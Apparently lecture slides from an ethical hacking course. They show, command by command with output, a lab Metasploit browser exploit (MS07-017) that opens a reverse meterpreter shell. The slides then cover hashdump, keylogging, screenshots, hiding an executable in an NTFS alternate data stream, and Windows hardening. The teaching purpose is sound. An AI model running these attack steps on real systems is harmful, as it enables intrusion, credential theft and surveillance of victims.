msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize

msf exploit(ms07_017_ani_loadimage_chunksize) > show targets

Exploit targets:

Id  Name

-- ----

0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

1   IE6 on Windows NT, 2000, XP, 2003 (all languages)

2   IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)

3   IE7 and Firefox on Windows Vista (all languages)

4   Firefox on Windows XP (English)

5   Firefox on Windows 2003 (English)

msf exploit(ms07_017_ani_loadimage_chunksize) > set TARGET 0

TARGET => 0

msf exploit(ms07_017_ani_loadimage_chunksize) >

use exploit/windows/browser/ms07_017_ani_loadimage_chunksize

show targets

set TARGET 0

Note: The target EH-WinXP is running IE 6.  Let's try the "Automatic" 
target to see if it works.

Note we got 
this from the 
RAPID7 
website
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > show options

Module options (exploit/windows/browser/ms07_017_ani_loadimage_chunksize):

Name     Current Setting  Required  Description

---- --------------- -------- -----------

SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local 

machine or 0.0.0.0

SRVPORT  80               yes       The daemon port to listen on

SSL      false            no        Negotiate SSL for incoming connections

SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

URIPATH  /                yes       The URI to use.

Exploit target:

Id  Name

-- ----

0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(ms07_017_ani_loadimage_chunksize) >

show options

Show options and make sure the required ones are set.
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > show payloads

Compatible Payloads

===================

Name                                                Disclosure Date  Rank    Description

---- --------------- ---- -----------

generic/custom                                                       normal  Custom Payload

generic/debug_trap                                                   normal  Generic x86 Debug Trap

generic/shell_bind_tcp                                               normal  Generic Command Shell, Bind

< SNIPPED >

(Reflective Injection), Reverse TCP Stager (No NX or Win7)

windows/meterpreter/reverse_ord_tcp                                  normal  Windows Meterpreter 

(Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/meterpreter/reverse_tcp                                      normal  Windows Meterpreter 

(Reflective Injection), Reverse TCP Stager

windows/meterpreter/reverse_tcp_allports                             normal  Windows Meterpreter

< SNIPPED >

msf exploit(ms07_017_ani_loadimage_chunksize) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(ms07_017_ani_loadimage_chunksize) >

show payloads

set payload windows/meterpreter/reverse_tcp

Let's pick our favorite payload, reverse_tcp.
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > show options

Module options (exploit/windows/browser/ms07_017_ani_loadimage_chunksize):

Name     Current Setting  Required  Description

---- --------------- -------- -----------

SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local 

machine or 0.0.0.0

SRVPORT  80               yes       The daemon port to listen on

SSL      false            no        Negotiate SSL for incoming connections

SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

URIPATH  /                yes       The URI to use.

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description

---- --------------- -------- -----------

EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

LHOST                      yes       The listen address

LPORT     4444             yes       The listen port

Exploit target:

Id  Name

-- ----

0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(ms07_017_ani_loadimage_chunksize) > set LHOST 10.76.5.150

LHOST => 10.76.5.150

msf exploit(ms07_017_ani_loadimage_chunksize) >

show options

set LHOST 10.76.5.150

Configure payload's 
"phone home" address
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > show options

Module options (exploit/windows/browser/ms07_017_ani_loadimage_chunksize):

Name     Current Setting  Required  Description

---- --------------- -------- -----------

SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local 

machine or 0.0.0.0

SRVPORT  80               yes       The daemon port to listen on

SSL      false            no        Negotiate SSL for incoming connections

SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

URIPATH  /                yes       The URI to use.

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description

---- --------------- -------- -----------

EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

LHOST     10.76.5.150      yes       The listen address

LPORT     4444             yes       The listen port

Exploit target:

Id  Name

-- ----

0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit(ms07_017_ani_loadimage_chunksize) >

show options

Check that all required variables 
have been set ... done!
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.76.5.150:4444

msf exploit(ms07_017_ani_loadimage_chunksize) > [*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://10.76.5.150:80/

[*] Server started.

exploit

Start the exploit which starts listening on port 80.
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EH-WinXP-05

Victim browses to 10.76.5.150 (EH-Kali-05) which 
could have been motivated via social engineering.
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EH-Kali-05

[*] Attempting to exploit ani_loadimage_chunksize

[*] Sending HTML page

[*] Attempting to exploit ani_loadimage_chunksize

[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)

[*] Sending stage (957999 bytes) to 10.76.5.201

[*] Meterpreter session 1 opened (10.76.5.150:4444 -> 10.76.5.201:1050) at 2016-10-31 19:06:23 -0700

msf exploit(ms07_017_ani_loadimage_chunksize) >

Once the victim browses to our website a 
meterpreter session is created.
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EH-Kali-05

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -l

Active sessions

===============

Id  Type                   Information                              Connection

-- ---- ----------- ----------

1   meterpreter x86/win32  EH-WINXP-05\cis76 student @ EH-WINXP-05  10.76.5.150:4444 -> 10.76.5.201:1050 

(10.76.5.201)

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell

Process 476 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\cis76 student\Desktop>exit

exit

meterpreter >

There may be more than one session if multiple victims 
browsed to our website.  List them with the -l option select 
on to interact with using the -i option

sessions -l

sessions -i 1

shell

exit
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EH-Kali-05

meterpreter > hashdump

Administrator:500:c63e3ad42d04b97ee68aa26a841a86fa:020356e54c9ee2bc1975862b71b4f39f:::

cis76 student:1003:c63e3ad42d04b97ee68aa26a841a86fa:020356e54c9ee2bc1975862b71b4f39f:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1004:4cc3993dddee19661e65b3ca0ff48f09:15f60a7495eeebdd8c6440d0762b5577:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9da82c6ce0e8f93c016efbce95e37e34:::

meterpreter > sysinfo

Computer        : EH-WINXP-05

OS              : Windows XP (Build 2600, Service Pack 2).

Architecture    : x86

System Language : en_US

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/win32

meterpreter >

Get account passwords (hashed) and system information.

hashdump

sysinfo
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EH-Kali-05

meterpreter > ps

Process List

============

PID   PPID  Name               Arch  Session  User                       Path

--- ---- ---- ---- ------- ---- ----

0     0     [System Process]

4     0     System             x86   0

172   1072  IEXPLORE.EXE       x86   0        EH-WINXP-05\cis76 student  C:\Program Files\Internet 

Explorer\iexplore.exe

272   708   alg.exe            x86   0                                   C:\WINDOWS\System32\alg.exe

344   1036  wscntfy.exe        x86   0        EH-WINXP-05\cis76 student  C:\WINDOWS\system32\wscntfy.exe

432   1036  wuauclt.exe        x86   0        EH-WINXP-05\cis76 student  C:\WINDOWS\system32\wuauclt.exe

576   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM        \SystemRoot\System32\smss.exe

640   576   csrss.exe          x86   0        NT AUTHORITY\SYSTEM        \??\C:\WINDOWS\system32\csrss.exe

664   576   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM        \??\C:\WINDOWS\system32\winlogon.exe

708   664   services.exe       x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\services.exe

720   664   lsass.exe          x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\lsass.exe

876   708   svchost.exe        x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\svchost.exe

952   708   svchost.exe        x86   0                                   C:\WINDOWS\system32\svchost.exe

1036  708   svchost.exe        x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\System32\svchost.exe

1072  1008  explorer.exe       x86   0        EH-WINXP-05\cis76 student  C:\WINDOWS\Explorer.EXE

1084  708   svchost.exe        x86   0                                   C:\WINDOWS\system32\svchost.exe

1212  1072  vmtoolsd.exe       x86   0        EH-WINXP-05\cis76 student  C:\Program Files\VMware\VMware 

Tools\vmtoolsd.exe

1256  708   svchost.exe        x86   0                                   C:\WINDOWS\system32\svchost.exe

1396  708   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\spoolsv.exe

1444  1072  rundll32.exe       x86   0        EH-WINXP-05\cis76 student  C:\WINDOWS\system32\rundll32.exe

1620  708   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM        C:\Program Files\VMware\VMware Tools\VMware 

VGAuth\VGAuthService.exe

1728  708   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM        C:\Program Files\VMware\VMware 

Tools\vmtoolsd.exe

meterpreter > migrate 1072

[*] Migrating from 172 to 1072...

[*] Migration completed successfully.

meterpreter >

Migrate from the Internet Explorer 
to the Explorer process.

ps

migrate 1072
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EH-Kali-05

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against EH-WINXP-05

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to 

/root/.msf4/loot/20161031205253_default_10.76.5.201_host.windows.key_629822.txt

[*] Recording keystrokes...

^C[*] Saving last few keystrokes...

[*] Interrupt

[*] Stopping keystroke sniffer...

meterpreter >

The captured 
keystrokes are 
placed in this file

run post/windows/capture/keylog_recorder

Ctrl-C to stop capture

Start and stop the keystroke logger
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EH-Kali-05

meterpreter > screenshot

Screenshot saved to: /root/kDZVxqnk.jpeg

meterpreter >

Two options for getting a screenshot of the victim's desktop

Option 1:
screenshot

meterpreter > use espia

Loading extension espia...Success.

meterpreter > screengrab

Screenshot saved to: /root/vWsWGTJc.jpeg

This tool has been deprecated, use 'gio open' instead.

See 'gio help open' for more info.

meterpreter > 

Option 2:
use espia

screengrab

If screenshot fails with:
Error running command screenshot: Rex::TimeoutError Operation timed out.

Then try option 2 below:
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EH-Kali-05

Captured screen shot and keystrokes from victim.
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Windows OS 
Vulnerabilities
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Windows OS Vulnerabilities

• For early DOS and Windows PC local access was needed to 
do anything.

• Ease-of-use was prioritized higher than security.

• The earlier versions of the OS (Windows 2000 and before) 
had many features and services enabled by default. 

• Administrators would have to reconfigure, disable or 
remove features and services to reduce the security risk.

• Today most features and services are disabled now by 
default.  

• Siloed roles must be manually added.
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Windows OS Vulnerabilities

• File System
• FAT (File Allocation Table) - No ACLs.
• NTFS (New Technology File System) - added ACLs and later encryption, journaling, 

and self-healing.
• ADS (Alternate Data Streams)

• Active Directory
• RPC (Remote Procedure Call)
• Single Sign on - Pass the Hash attacks

• NetBIOS

• SMB (Server Message Block)

• CIFS (Common Internet File System)

• Domain Controller ports.

• Null Sessions

• IIS (Web services)

• SQL Server

• Buffer Overflows

• Passwords and authentication
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Hardening Windows OS

• Patching systems
• Automatic (for home and small networks)
• SMS (Systems Management Server)
• WSUS (Windows Software Update Service)
• SCCM (System Center Configuration Manager)
• Third party products

• Anti-virus solutions (home vs enterprise)

• PUPs (Potentially Unwanted Programs)

• Enable and review logs

• Disable unused services and filter ports (reduce the attack surface)

• Limit admin accounts and user applications.

• Implement Data Loss Prevention solutions.

• Many many more!
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Microsoft Baseline 
Security Analyzer

MBSA
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Microsoft Baseline Security Analyzer

Free tool to check your Windows environment
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Microsoft Baseline Security Analyzer
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Microsoft Baseline Security Analyzer
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Microsoft Baseline Security Analyzer
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Microsoft Baseline Security Analyzer
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Microsoft Baseline Security Analyzer
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Windows 10
Fall Creators 

Update
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Recent news

Microsoft is building a smart antivirus using 400 million PCs
BY ALFRED NG   JUNE 27, 2017

176

https://www.cnet.com/news/microsoft-
build-smart-antivirus-using-400-million-
computers-artificial-intelligence/

"In its Fall Creators Update, Microsoft will use a wide 

range of data coming from its cloud programs such as 

Azure, Endpoint and Office to create an artificial 

intelligence antivirus that can pick up on malware 

behavior, said Rob Lefferts, director of program 

management for Windows Enterprise and Security."

"Microsoft is turning to artificial intelligence to create the next generation of 

antivirus software."

https://www.cnet.com/news/microsoft-build-smart-antivirus-using-400-million-computers-artificial-intelligence/
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Recent news

Windows 10 Fall Creators Update Controlled Folder Access 
Nullifies Ransomware Attacks
by Paul Lilly October 25, 2017

177

https://hothardware.com/news/windows-
10-fall-creators-update-controlled-folder-
access-nullifies-ransomware-attacks

"This feature protects your 

files from tampering, in real-

time, by locking folders so 

that ransomware and other 

unauthorized apps can’t 

access them. It’s like putting 

your crown jewels in a safe 

whose key only you hold," 

Microsoft says."

https://hothardware.com/news/windows-10-fall-creators-update-controlled-folder-access-nullifies-ransomware-attacks
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ADS



CIS 76 - Lesson 10

Windows NTFS Alternate Data Streams

• Introduced in Windows NT 3.1 

• Enables Services for Macintosh (SFM) for 
interoperability with Apple's classic Mac OS 
filesystem.

• Allows more than one data stream to be associated 
with a filename.

• Uses the format filename:streamname, e.g.  
myfile.text:mystream
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https://wikileaks.org/ciav7p1/cms/page_13763236.html

https://wikileaks.org/ciav7p1/cms/page_13763236.html
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https://wikileaks.org/ciav7p1/cms/page_13763236.html

https://wikileaks.org/ciav7p1/cms/page_13763236.html
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Windows NTFS Alternate Data Streams

ADS demonstration setup on EH-WinXP

1. Start with the baseline snapshot at a minimum.

2. Configure Folder Options to not hide file extensions (Start > 
Run... > Explorer > Tools menu > Folder Options... > View tab 
> Advanced settings: > remove check from "Hide extensions for 
known file types".

3. Connect to the depot share on 172.30.10.36 (Start > Run... > 
\\172.30.10.36\depot) .

4. Download the Streams and ADS Spy folders to your desktop.

5. From Streams folder, copy the steams.exe file to your 
C:\WINDOWS\system32 directory.
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Creating an 
Alternate Data 

Stream
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Running notepad from the command line to create a new text file

notepad tim.txt



CIS 76 - Lesson 10

185Paste in some sample text, format with word wrap, and save the file.
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186
Use dir to list the files, including the new tim.txt file, from the command line
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187Create an alternate data stream named "secret-service-name" 
associated with tim.txt

notepad tim.txt:secret-service-name
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188Add some text to the alternate stream, save and exit.
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189Showing the tim.txt file with Explorer and command line. 
Note there is no indication of an alternate stream.
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View the file with type and the alternate stream with more

dir

type tim.txt

more < tim.txt:secret-service-name
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191

Creating 
Additional 

Alternate Data 
Streams
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Yes, an NTFS file can have more than one alternate data stream!

more < tim.txt:secret-service-name.txt

echo "Democrat" > tim.txt:party.txt

more < tim.txt:party.txt

Adding second alternate data stream

Viewing one stream

Viewing the other stream
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Finding 
Alternate Data 

Streams

ADS Spy
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ADS Spy

http://www.merijn.nu/programs.php#adsspy

http://www.merijn.nu/programs.php#adsspy
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195Open the ADS Spy folder on the desktop, run ADSSpy.exe, and scan for 
alternate data streams.  It will find the new secret-service-name stream.
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196Scan again this time showing all alternate data streams
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Finding 
Alternate Data 

Streams

Streams Tool
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Streams

https://technet.microsoft.com/en-us/sysinternals/bb897440.aspx

https://technet.microsoft.com/en-us/sysinternals/bb897440.aspx
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The streams command has two options, -s to recurse subdirectories 
and -d to delete streams.

streams.exe
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200Finding all alternate streams from the command line using streams.exe 
with the -s recursive option.

streams.exe -s c:\
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201

Finding 
Alternate Data 

Streams

dir /R
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dir /?

dir /R

On recent versions of Windows, the dir command has a /R option
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echo "Benji's favorite food is chicken" > benji.txt

echo "Benji's favorite game is gopher" > benji.txt:game.txt

dir /R

dir /R
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Removing 
Alternate Data 

Streams
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205Removing the alternate streams with 
ADS Spy
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206

The two alternate streams have been deleted but the original 
file remains.

more < tim.test:secret-serive-name.txt

more < tim.test:party.txt

type tim.txt
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ADS containing 
an executable 

file
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Hiding a program 
file (calc.exe) in a 
text file (mike.txt) 
and running it.

C:\>mkdir test

C:\>cd test

C:\test>notepad mike.txt

C:\test>type mike.txt

C:\test>type c:\windows\system32\calc.exe > mike.txt:hidden.exe

C:\test>start c:\test\mike.txt:hidden.exe
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Linux OS 
Vulnerabilities
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See textbook for now ....

(Chapter 8)
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Assignment

214
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Lab 8
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Wrap up

216
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Next Class

Assignment: Check the Calendar Page on the web site to 
see what is due next week.

Quiz questions for next class:

• For CVE-2010-0018, was the Access Vector metric rated as "Local", 
"Adjacent Network" or "Network"?

• What is the name of the Windows command that can be downloaded 
from Microsoft to list and delete alternate data streams?

• Using CVE Details to view the products "Google Chrome", "Microsoft 
Edge" and "Apple Safari" which had the most vulnerabilities in 2015?

217
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Test 2

218
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[ ] Remove real test password on Canvas

[ ] Publish test

[ ] Add custom accommodations

Notes to instructor
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Test #2

HONOR CODE: 

This test is open book, open notes, and open computer.  
HOWEVER, you must work alone.  You may not discuss the test 
questions or answers with others during the test.  You may not 
ask or receive assistance from anyone other than the instructor 
when doing this test. Likewise you may not give any assistance to 
anyone taking the test.

INSTRUCTIONS:

This test must be completed in one sitting.  The submittal will be 
made automatically when the time is up.  If you submit early by 
accident you will not be able to re-enter and continue. If that 
happens don't panic!  Just email the instructor any remaining 
answers before the time is up.
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Backup

222


